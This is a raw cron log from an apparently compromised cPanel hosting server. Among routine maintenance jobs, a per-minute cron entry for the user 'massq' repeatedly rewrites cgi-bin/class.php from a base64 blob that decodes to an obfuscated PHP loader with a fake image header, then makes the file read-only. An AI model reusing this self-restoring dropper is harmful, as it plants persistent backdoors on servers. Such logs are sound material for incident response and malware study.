Sep  5 10:00:01 server CROND[23117]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 10:00:01 server CROND[23125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:00:01 server CROND[23119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:00:01 server CROND[23122]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:00:01 server CROND[23123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:01:01 server CROND[23986]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 10:01:01 server CROND[23987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:01:01 server CROND[23988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:01:01 server CROND[23989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:01:01 server run-parts(/etc/cron.hourly)[23986]: starting 0anacron
Sep  5 10:01:01 server run-parts(/etc/cron.hourly)[24009]: finished 0anacron
Sep  5 10:02:01 server CROND[24391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:02:01 server CROND[24392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:02:01 server CROND[24393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:03:01 server CROND[24784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:03:01 server CROND[24785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:03:01 server CROND[24783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:04:01 server CROND[25245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:04:01 server CROND[25246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:04:01 server CROND[25247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:05:01 server CROND[25629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:05:01 server CROND[25630]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 10:05:01 server CROND[25633]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:05:01 server CROND[25641]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 10:05:01 server CROND[25642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:05:01 server CROND[25640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:05:01 server CROND[25639]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 10:05:01 server CROND[25638]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:06:01 server CROND[26476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:06:01 server CROND[26477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:06:01 server CROND[26480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:07:01 server CROND[26855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:07:01 server CROND[26854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:07:01 server CROND[26856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:08:01 server CROND[27223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:08:01 server CROND[27224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:08:01 server CROND[27225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:09:01 server CROND[27686]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 10:09:01 server CROND[27687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:09:01 server CROND[27688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:09:01 server CROND[27689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:10:01 server CROND[28074]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:10:01 server CROND[28076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:10:01 server CROND[28078]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 10:10:01 server CROND[28082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:10:01 server CROND[28081]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 10:10:01 server CROND[28079]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 10:10:01 server CROND[28080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:10:01 server CROND[28083]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:11:01 server CROND[28911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:11:01 server CROND[28912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:11:01 server CROND[28913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
